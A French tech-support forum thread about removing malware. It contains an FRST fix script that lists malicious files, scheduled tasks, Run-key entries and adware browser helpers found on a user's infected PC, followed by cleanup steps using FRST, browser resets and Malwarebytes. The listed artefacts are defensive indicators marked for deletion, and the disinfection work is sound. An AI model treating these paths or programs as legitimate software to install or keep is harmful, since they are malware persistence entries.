2019-01-27 17:51 - 2019-02-06 13:30 - 000000000 ____D C:\ProgramData\Quoteex
2019-01-27 17:51 - 2019-02-05 18:54 - 000015606 _____ C:\WINDOWS\SysWOW64\findit.xml
2019-01-27 17:51 - 2019-01-27 17:51 - 007858688 _____ C:\Users\alpha\AppData\Local\agent.dat
2019-01-27 17:51 - 2019-01-27 17:51 - 002035857 _____ C:\Users\alpha\AppData\Local\Inchkix.tst
2019-01-27 17:51 - 2019-01-27 17:51 - 001895382 _____ C:\Users\alpha\AppData\Local\Groove-Phase.bin
2019-01-27 17:51 - 2019-01-27 17:51 - 000278510 _____ C:\Users\alpha\AppData\Local\Vilatech.tst
2019-01-27 17:51 - 2019-01-27 17:51 - 000126464 _____ C:\Users\alpha\AppData\Local\noah.dat
2019-01-27 17:51 - 2019-01-27 17:51 - 000070896 _____ C:\Users\alpha\AppData\Local\Config.xml
2019-01-27 17:51 - 2019-01-27 17:51 - 000018432 _____ C:\Users\alpha\AppData\Local\Main.dat
2019-01-27 17:51 - 2019-01-27 17:51 - 000005568 _____ C:\Users\alpha\AppData\Local\md.xml
2019-01-27 17:51 - 2019-01-27 17:51 - 000003334 _____ C:\WINDOWS\System32\Tasks\psv_Danplus
2019-01-27 17:51 - 2019-01-27 17:51 - 000003330 _____ C:\WINDOWS\System32\Tasks\psv_Zerla
2019-01-27 17:51 - 2019-01-27 17:51 - 000003330 _____ C:\WINDOWS\System32\Tasks\psv_Suntouch
2019-01-27 17:51 - 2019-01-27 17:51 - 000003326 _____ C:\WINDOWS\System32\Tasks\psv_Opehatit
2019-01-27 17:51 - 2019-01-27 17:51 - 000003322 _____ C:\WINDOWS\System32\Tasks\psv_Onto-Job
2019-01-27 17:51 - 2019-01-27 17:51 - 000000000 ____D C:\ProgramData\Quoteexs
2019-01-27 17:51 - 2019-01-27 17:51 - 000000000 ____D C:\ProgramData\Logic Cramble
2019-01-27 17:51 - 2019-01-27 17:50 - 001632256 _____ (TODO: <Company name>) C:\Users\alpha\AppData\Local\Vilatech.exe
2019-01-27 17:51 - 2019-01-27 17:50 - 001632256 _____ (TODO: <Company name>) C:\Users\alpha\AppData\Local\Inchkix.exe
2019-01-27 17:50 - 2019-02-02 17:08 - 000722944 _____ C:\Users\alpha\AppData\Local\sham.db
2019-01-27 17:50 - 2019-01-27 18:11 - 000000000 ____D C:\Program Files (x86)\Vegetables
2019-01-27 17:50 - 2019-01-27 17:50 - 000140800 _____ C:\Users\alpha\AppData\Local\installer.dat
2019-01-27 17:50 - 2019-01-27 17:50 - 000016416 _____ C:\Users\alpha\AppData\Local\InstallationConfiguration.xml
2019-01-27 17:50 - 2019-01-27 17:50 - 000003986 _____ C:\WINDOWS\System32\Tasks\baseboards lauritz callousedbaseboards lauritz calloused
2019-01-27 17:50 - 2019-01-27 17:50 - 000003970 _____ C:\WINDOWS\System32\Tasks\lameness-exceptionallylameness-exceptionally
2019-01-27 17:50 - 2019-01-27 17:50 - 000003950 _____ C:\WINDOWS\System32\Tasks\parametric censorsparametric censors
2019-01-27 17:50 - 2019-01-27 17:50 - 000003934 _____ C:\WINDOWS\System32\Tasks\nganga
2019-01-27 17:50 - 2019-01-27 17:50 - 000003934 _____ C:\WINDOWS\System32\Tasks\fearfully_salamifearfully_salami
2019-01-27 17:50 - 2019-01-27 17:50 - 000003932 _____ C:\WINDOWS\System32\Tasks\addled_speyeraddled_speyer
2019-01-27 17:50 - 2019-01-27 17:50 - 000003904 _____ C:\WINDOWS\System32\Tasks\stirringstirring
2019-01-27 17:50 - 2019-01-27 17:50 - 000000012 _____ C:\WINDOWS\b69118358
2019-01-27 17:50 - 2019-01-27 17:50 - 000000000 ___HD C:\Program Files (x86)\Reck
2019-01-27 17:50 - 2019-01-27 17:50 - 000000000 ___HD C:\Program Files (x86)\metropol
2019-01-27 17:50 - 2019-01-27 17:50 - 000000000 ____D C:\Program Files (x86)\morgans
2019-01-27 17:50 - 2019-01-27 17:50 - 000000000 ____D C:\Program Files (x86)\indestructibility
2019-01-27 17:50 - 2019-01-27 17:50 - 000000000 ____D C:\Program Files (x86)\Gass
2019-01-27 17:49 - 2019-01-27 17:49 - 000000000 ____D C:\Program Files (x86)\foldershare
2019-01-27 17:48 - 2019-01-27 19:37 - 000000000 ____D C:\ProgramData\boost_interprocess
2019-01-27 17:48 - 2019-01-27 18:22 - 000000000 ____D C:\WINDOWS\SysWOW64\SSL
2019-01-27 17:48 - 2019-01-27 17:48 - 001447424 _____ C:\WINDOWS\mbzsard.sbz
2019-01-27 17:48 - 2019-01-27 17:48 - 000000000 ____D C:\ProgramData\Wssd
2019-01-27 17:48 - 2019-01-27 17:48 - 000000000 ____D C:\ProgramData\dsccd
2019-01-27 17:48 - 2019-01-27 17:48 - 000000000 ____D C:\Program Files\MTNlY2
2019-01-27 17:47 - 2019-01-27 17:47 - 000000000 ____D C:\ProgramData\Blogger
2019-01-27 17:42 - 2019-01-27 18:12 - 000000414 _____ C:\WINDOWS\Tasks\Updater_Online_Application.job
2019-01-27 17:42 - 2019-01-27 18:12 - 000000382 _____ C:\WINDOWS\Tasks\Online Application V2G6.job
2019-01-27 17:42 - 2019-01-27 18:12 - 000000382 _____ C:\WINDOWS\Tasks\Online Application V2G5.job
2019-01-27 17:42 - 2019-01-27 18:12 - 000000382 _____ C:\WINDOWS\Tasks\Online Application V2G4.job
2019-01-27 17:42 - 2019-01-27 18:12 - 000000382 _____ C:\WINDOWS\Tasks\Online Application V2G3.job
2019-01-27 17:42 - 2019-01-27 18:12 - 000000382 _____ C:\WINDOWS\Tasks\Online Application V2G2.job
2019-01-27 17:42 - 2019-01-27 18:12 - 000000382 _____ C:\WINDOWS\Tasks\Online Application V2G1.job
2019-01-27 17:42 - 2019-01-27 17:44 - 000000000 ____D C:\ProgramData\Baped
2019-01-27 17:42 - 2019-01-27 17:42 - 000003308 _____ C:\WINDOWS\System32\Tasks\Updater_Online_Application
2019-01-27 17:42 - 2019-01-27 17:42 - 000003272 _____ C:\WINDOWS\System32\Tasks\Online Application V2G6
2019-01-27 17:42 - 2019-01-27 17:42 - 000003272 _____ C:\WINDOWS\System32\Tasks\Online Application V2G5
2019-01-27 17:42 - 2019-01-27 17:42 - 000003272 _____ C:\WINDOWS\System32\Tasks\Online Application V2G4
2019-01-27 17:42 - 2019-01-27 17:42 - 000003272 _____ C:\WINDOWS\System32\Tasks\Online Application V2G3
2019-01-27 17:42 - 2019-01-27 17:42 - 000003272 _____ C:\WINDOWS\System32\Tasks\Online Application V2G2
2019-01-27 17:42 - 2019-01-27 17:42 - 000003272 _____ C:\WINDOWS\System32\Tasks\Online Application V2G1
2019-01-27 17:42 - 2019-01-27 17:42 - 000000000 ____D C:\Users\alpha\AppData\Roaming\Microleaves
2019-01-27 17:42 - 2019-01-27 17:42 - 000000000 ____D C:\Users\alpha\AppData\Local\AdvinstAnalytics
2019-01-27 17:42 - 2019-01-27 17:42 - 000000000 ____D C:\Program Files (x86)\Microleaves
2019-01-27 17:29 - 2019-01-27 17:29 - 001014178 _____ C:\Users\alpha\Downloads\ironsight_multihack_v14_d5fd0.zip
2019-01-27 17:29 - 2019-01-27 17:29 - 001014178 _____ C:\Users\alpha\Desktop\ironsight_multihack_v14_d5fd0.zip
2019-01-27 16:05 - 2019-01-27 16:05 - 000010240 _____ C:\Users\alpha\AppData\Local\Workflow.exe
2019-01-27 16:05 - 2019-01-27 16:05 - 000009728 _____ C:\WINDOWS\conveniences.exe
2019-01-27 16:05 - 2019-01-27 16:05 - 000009728 _____ C:\Users\alpha\AppData\Local\Heads.exe
2019-01-27 12:48 - 2019-01-27 12:48 - 000000146 _____ C:\Users\alpha\Desktop\Panneau de configuration NVIDIA - Raccourci.lnk
2019-01-27 09:41 - 2019-01-27 09:41 - 000000000 ____D C:\Users\alpha\AppData\LocalLow\Smartly Dressed Games
2019-01-27 09:31 - 2019-01-27 09:31 - 001750016 _____ C:\WINDOWS\N2M0NDNhMmYz.exe
2019-01-27 09:31 - 2019-01-27 09:31 - 000148760 _____ C:\WINDOWS\system32\Drivers\Y2MxNzkzMGY1Mzk3N
2019-01-27 09:31 - 2019-01-27 09:31 - 000108473 _____ C:\WINDOWS\uninstaller.dat
2019-01-27 00:26 - 2019-01-27 00:26 - 000000222 _____ C:\Users\alpha\Desktop\Unturned.url 
R2 Smart Monitoring; C:\Program Files (x86)\SmartData\jkglskjdfhj.exe [2306048 2019-02-06] () [Fichier non signé]
 S2 pgt_svc; C:\Program Files (x86)\ProxyGate\MainService.exe [2285664 2017-02-22] (GOLD CLICK LIMITED -> Gold Click Ltd) <==== ATTENTION
R2 Quoteex; C:\ProgramData\\Quoteex\\Quoteex.exe [1632256 2019-01-27] (TODO: <Company name>) [Fichier non signé] <==== ATTENTION 
BHO: YoutubeAdBlock -> {E81D3BD4-0E3E-4B58-BEC1-F3791DAA11A8} -> C:\Program Files (x86)\GAYTRwneoIE\txjRkQCk.dll [2019-02-05] ()
BHO-x32: YoutubeAdBlock -> {0AA83778-BEDD-4855-A8FE-CE2EA58563FD} -> C:\Program Files (x86)\PUGpcyhepIE\ktSIvPW.dll [2019-02-06] () 
HKLM\...\Run: [Neurological] => C:\Program Files (x86)\Gass\Heads.exe [9728 2019-01-27] ()
HKLM\...\Run: [Mileages] => C:\Program Files (x86)\morgans\Workflow.exe [10240 2019-01-27] ()
HKLM\...\Run: [Goodnight] => C:\Program Files (x86)\Reck\Heads.exe [9728 2019-01-27] ()
HKLM\...\Run: [WebDiscoverBrowser] => C:\Program Files\WebDiscoverBrowser\4.28.2\browser.exe [4010720 2018-07-17] (web discover -> WebDiscover Media) <==== ATTENTION
HKLM-x32\...\Run: [Syndicating] => C:\Program Files (x86)\Gass\Heads.exe [9728 2019-01-27] ()
HKLM-x32\...\Run: [Licorice] => C:\Program Files (x86)\morgans\Workflow.exe [10240 2019-01-27] ()
HKLM-x32\...\Run: [Canvases] => C:\Program Files (x86)\Reck\Heads.exe [9728 2019-01-27] ()
HKLM\...\RunOnce: [OMEWPRODUCT_] => C:\Program Files\Mozilla Firefox\YXSH5RKOD36YL255QUA\gqOAp_odzl.exe [105984 2019-01-27] () <==== ATTENTION
HKLM\...\RunOnce: [pvpk0e1pipl] => C:\Program Files (x86)\SlowMotion\781129999.exe [664576 2019-01-25] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [FACEIT] => C:\Users\alpha\AppData\Local\FACEITApp\update.exe [2203584 2018-11-01] (FACE IT LIMITED -> )
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Web Companion] => C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe [7410464 2019-02-02] (Lavasoft Limited -> Lavasoft)
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Blogger] => C:\ProgramData\Blogger\Blogger.exe [1097728 2019-01-27] (CreateFileW function failed -> )
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [SrY5wZLor8.exe] => C:\Program Files\Mozilla Firefox\YXSH5RKOD36YL255QUA\SrY5wZLor8.exe [278016 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Heretics] => C:\Program Files (x86)\Gass\Heads.exe [9728 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Rustler] => C:\Program Files (x86)\morgans\Workflow.exe [10240 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Explication] => C:\Program Files (x86)\Reck\Heads.exe [9728 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [De] => C:\Program Files (x86)\Gass\Heads.exe [9728 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Prized] => C:\Program Files (x86)\morgans\Workflow.exe [10240 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [Related] => C:\Program Files (x86)\Reck\Heads.exe [9728 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [subscribing] => C:\Program Files (x86)\metropol\subscribing.exe [49504 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [associational] => C:\Program Files (x86)\Gass\Heads.exe [9728 2019-01-27] ()
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [drolk1] => rundll32.exe C:\Users\alpha\AppData\Local\drolk1.dll,drolk1 <==== ATTENTION
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [DarkWave] => C:\WINDOWS\rss\csrss.exe [4557312 2019-01-27] (CreateFileW function failed -> ) <==== ATTENTION
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [CloudNet] => C:\Users\alpha\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2019-02-05] (CreateFileW function failed -> ) <==== ATTENTION
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [dnolk8] => rundll32.exe C:\Users\alpha\AppData\Local\dnolk8.dll,dnolk8 <==== ATTENTION
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [l9ofdt] => rundll32.exe C:\Users\alpha\AppData\Local\l9ofdt.dll,l9ofdt <==== ATTENTION
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [i5ofqt] => rundll32.exe C:\Users\alpha\AppData\Local\i5ofqt.dll,i5ofqt <==== ATTENTION
HKU\S-1-5-21-1022954749-344546149-1120633091-1001\...\Run: [ygeuvbgt] => C:\Users\alpha\uhvyaayl.exe [14702592 2019-02-05] ()
HKU\S-1-5-18\...\Run: [Web Companion] => C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe [7410464 2019-02-02] (Lavasoft Limited -> Lavasoft) 
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:
End

Enregistre le contenu par le menu fichier puis enregistrer.

Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

Réparer Mozilla Firefox (premier paragraphe)
Réparer Google Chrome (seulement le premier paragraphe).
Réinitialiser et réparer Internet Explorer

3°)
Termine par un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite

4°)
Vois ce que cela donne et si des améliorations ont eu lieu.
Si ce n'est pas le cas, si tu as encore des pages de pubs intempestives, précise sur quel navigateur WEB.
Refais un scan FRST et donne les nouveaux rapports via pjjoint.

J'ai installer le virus cloudnet

4 réponses

Discussions similaires

Newsletters